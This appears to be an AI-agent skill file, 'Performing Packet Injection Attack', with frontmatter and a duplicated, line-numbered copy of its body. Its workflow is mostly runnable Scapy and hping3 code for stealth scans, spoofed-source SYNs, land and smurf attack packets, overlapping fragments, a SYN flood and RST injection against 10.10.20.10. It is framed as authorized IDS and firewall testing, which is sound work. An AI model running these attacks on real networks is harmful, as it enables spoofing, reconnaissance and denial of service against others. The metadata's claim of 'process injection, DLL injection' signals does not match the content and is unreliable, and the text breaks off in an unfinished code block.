Performing Packet Injection Attack
When to Use
- Testing IDS/IPS rules by injecting traffic that should trigger specific detection signatures
- Validating firewall rules by crafting packets with specific flags, source addresses, and payloads
- Assessing network stack resilience to malformed packets, fragmentation attacks, and protocol violations
- Simulating spoofed traffic to test anti-spoofing controls (BCP38, uRPF)
- Performing TCP reset injection to test connection resilience and session hijacking scenarios
Do not use for denial-of-service attacks against production systems, for spoofing traffic to frame third parties, or without explicit authorization for the target network.
Prerequisites
- Written authorization specifying in-scope targets and approved packet injection techniques
- Scapy, hping3, and Nemesis installed on the testing platform
- Root/sudo privileges for raw socket access and packet crafting
- Wireshark or tcpdump on the target side to verify packet delivery
- Understanding of TCP/IP protocol internals, header fields, and flag combinations
Workflow
Step 1: Craft and Send Basic Test Packets with Scapy
#!/usr/bin/env python3
"""Basic packet injection examples using Scapy for authorized testing."""
from scapy.all import *
# TCP SYN packet (port scan simulation)
syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)
response = sr1(syn, timeout=2, verbose=0)
if response and response.haslayer(TCP):
if response[TCP].flags == "SA":
print(f"[*] Port 80 is OPEN (SYN-ACK received)")
elif response[TCP].flags == "RA":
print(f"[*] Port 80 is CLOSED (RST-ACK received)")
# TCP XMAS scan packet (all flags set)
xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")
send(xmas, verbose=0)
print("[*] XMAS packet sent (should trigger IDS)")
# NULL scan packet (no flags)
null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")
send(null, verbose=0)
print("[*] NULL packet sent")
# Crafted ICMP packet with custom payload
icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")
send(icmp_custom, verbose=0)
print("[*] Custom ICMP packet sent")
# UDP packet to test firewall rules
udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="test.example.com"))
response = sr1(udp_test, timeout=2, verbose=0)
if response:
print(f"[*] DNS response received from {response[IP].src}")
Step 2: IP Spoofing and Anti-Spoofing Validation
#!/usr/bin/env python3
"""Test anti-spoofing controls with spoofed source IP packets."""
from scapy.all import *
# Spoofed source IP (should be blocked by BCP38/uRPF)
spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")
send(spoofed_syn, verbose=0)
print("[*] Sent SYN with spoofed source 192.0.2.100")
# Land attack test (source = destination)
land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")
send(land, verbose=0)
print("[*] Land attack packet sent (src==dst)")
# Smurf attack test (ICMP to broadcast with spoofed source)
smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)
send(smurf, verbose=0)
print("[*] Smurf test packet sent (ICMP to broadcast)")
# IP fragment overlap test
frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)
frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24) # Overlapping fragment
send(frag1, verbose=0)
send(frag2, verbose=0)
print("[*] Overlapping IP fragments sent")
Step 3: TCP Session Manipulation
# TCP RST injection to test connection resilience
# Using hping3 to send RST packets
sudo hping3 -S -p 80 --rst -c 5 10.10.20.10
# SYN flood test (limited volume for testing, not DoS)
sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10
# Note: --flood sends at maximum rate; -c 100 limits to 100 packets
# Test TCP window manipulation
sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10 # Zero window
sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10 # Max window
# Idle scan probe (to test if a host can be used as zombie)
sudo hping3 -SA -p 80 -c 3 10.10.20.10
# Check IP ID values in response for predictability
#!/usr/bin/env python3
"""TCP RST injection to test session resilience."""
from scapy.all import *
> 📎 Detailed content (full examples / references / data tables) has been split into `reference.md` in the same directory; use Read to load the relevant section on demand.
1---2name: performing-packet-injection-attack3description: "Crafts and injects custom network packets using Scapy, hping3, and Nemesis. Signals: process injection, DLL injection, memory execution."4zh-signals: "Crafts and injects custom network packets using Scapy, hping3, and Nemesis 信号:进程注入,dll注入,内存执行。"5when-to-use: 'Crafts and injects custom network packets using Scapy, hping3, and Nemesis6 during authorized security assessments to test firewall rules, IDS detection, protocol7 handling, and network stack resilience against malformed and spoofed traffic.89 '10domain: cybersecurity11subdomain: network-security12tags:13- network-security14- packet-injection15- scapy16- hping317- protocol-testing18version: '1.0'19author: mahipal20license: Apache-2.021nist_csf:22- PR.IR-0123- DE.CM-0124- ID.AM-0325- PR.DS-0226mitre_attack:27- T104628- T104029- T155730- T107131- T105532metadata:33 source: https://skillmd.com/skills/dangeroussong/performing-packet-injection-attack34---3536# Performing Packet Injection Attack3738## When to Use3940- Testing IDS/IPS rules by injecting traffic that should trigger specific detection signatures41- Validating firewall rules by crafting packets with specific flags, source addresses, and payloads42- Assessing network stack resilience to malformed packets, fragmentation attacks, and protocol violations43- Simulating spoofed traffic to test anti-spoofing controls (BCP38, uRPF)44- Performing TCP reset injection to test connection resilience and session hijacking scenarios4546**Do not use** for denial-of-service attacks against production systems, for spoofing traffic to frame third parties, or without explicit authorization for the target network.4748## Prerequisites4950- Written authorization specifying in-scope targets and approved packet injection techniques51- Scapy, hping3, and Nemesis installed on the testing platform52- Root/sudo privileges for raw socket access and packet crafting53- Wireshark or tcpdump on the target side to verify packet delivery54- Understanding of TCP/IP protocol internals, header fields, and flag combinations5556## Workflow5758### Step 1: Craft and Send Basic Test Packets with Scapy5960```python61#!/usr/bin/env python362"""Basic packet injection examples using Scapy for authorized testing."""6364from scapy.all import *6566# TCP SYN packet (port scan simulation)67syn = IP(dst="10.10.20.10") / TCP(dport=80, flags="S", seq=1000)68response = sr1(syn, timeout=2, verbose=0)69if response and response.haslayer(TCP):70 if response[TCP].flags == "SA":71 print(f"[*] Port 80 is OPEN (SYN-ACK received)")72 elif response[TCP].flags == "RA":73 print(f"[*] Port 80 is CLOSED (RST-ACK received)")7475# TCP XMAS scan packet (all flags set)76xmas = IP(dst="10.10.20.10") / TCP(dport=80, flags="FPU")77send(xmas, verbose=0)78print("[*] XMAS packet sent (should trigger IDS)")7980# NULL scan packet (no flags)81null = IP(dst="10.10.20.10") / TCP(dport=80, flags="")82send(null, verbose=0)83print("[*] NULL packet sent")8485# Crafted ICMP packet with custom payload86icmp_custom = IP(dst="10.10.20.10") / ICMP(type=8) / Raw(load="SECURITY_TEST_PAYLOAD")87send(icmp_custom, verbose=0)88print("[*] Custom ICMP packet sent")8990# UDP packet to test firewall rules91udp_test = IP(dst="10.10.20.10") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="test.example.com"))92response = sr1(udp_test, timeout=2, verbose=0)93if response:94 print(f"[*] DNS response received from {response[IP].src}")95```9697### Step 2: IP Spoofing and Anti-Spoofing Validation9899```python100#!/usr/bin/env python3101"""Test anti-spoofing controls with spoofed source IP packets."""102103from scapy.all import *104105# Spoofed source IP (should be blocked by BCP38/uRPF)106spoofed_syn = IP(src="192.0.2.100", dst="10.10.20.10") / TCP(dport=80, flags="S")107send(spoofed_syn, verbose=0)108print("[*] Sent SYN with spoofed source 192.0.2.100")109110# Land attack test (source = destination)111land = IP(src="10.10.20.10", dst="10.10.20.10") / TCP(sport=80, dport=80, flags="S")112send(land, verbose=0)113print("[*] Land attack packet sent (src==dst)")114115# Smurf attack test (ICMP to broadcast with spoofed source)116smurf = IP(src="10.10.20.10", dst="10.10.20.255") / ICMP(type=8)117send(smurf, verbose=0)118print("[*] Smurf test packet sent (ICMP to broadcast)")119120# IP fragment overlap test121frag1 = IP(dst="10.10.20.10", flags="MF", frag=0) / TCP(dport=80, flags="S") / Raw(load="A"*24)122frag2 = IP(dst="10.10.20.10", frag=2) / Raw(load="B"*24) # Overlapping fragment123send(frag1, verbose=0)124send(frag2, verbose=0)125print("[*] Overlapping IP fragments sent")126```127128### Step 3: TCP Session Manipulation129130```bash131# TCP RST injection to test connection resilience132# Using hping3 to send RST packets133sudo hping3 -S -p 80 --rst -c 5 10.10.20.10134135# SYN flood test (limited volume for testing, not DoS)136sudo hping3 -S --flood -V -p 80 -c 100 10.10.20.10137# Note: --flood sends at maximum rate; -c 100 limits to 100 packets138139# Test TCP window manipulation140sudo hping3 -S -p 80 -w 0 -c 5 10.10.20.10 # Zero window141sudo hping3 -S -p 80 -w 65535 -c 5 10.10.20.10 # Max window142143# Idle scan probe (to test if a host can be used as zombie)144sudo hping3 -SA -p 80 -c 3 10.10.20.10145# Check IP ID values in response for predictability146```147148```python149#!/usr/bin/env python3150"""TCP RST injection to test session resilience."""151152from scapy.all import *153154> 📎 Detailed content (full examples / references / data tables) has been split into `reference.md` in the same directory; use Read to load the relevant section on demand.